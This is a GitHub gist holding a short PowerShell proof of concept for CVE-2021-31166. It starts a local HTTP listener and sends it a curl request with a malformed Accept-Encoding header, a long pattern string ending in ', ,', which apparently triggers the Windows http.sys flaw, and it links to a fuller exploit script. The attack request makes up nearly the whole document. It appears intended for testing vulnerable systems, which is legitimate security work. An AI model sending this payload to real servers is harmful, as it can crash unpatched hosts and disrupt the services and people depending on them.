Skip to content

Instantly share code, notes, and snippets.

@MHaggis
Created May 20, 2021 12:55
Show Gist options
  • Save MHaggis/629a2e682d09d16bfcf37dc33e5bd8c9 to your computer and use it in GitHub Desktop.
Save MHaggis/629a2e682d09d16bfcf37dc33e5bd8c9 to your computer and use it in GitHub Desktop.
Simple PoC - Test CVE-2021-31166

$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://localhost:8080/') 
$listener.Start()
curl.exe -H 'Accept-Encoding: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag, ,' http://localhost:8080/

xref: https://github.com/0vercl0k/CVE-2021-31166/blob/main/cve-2021-31166.py

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment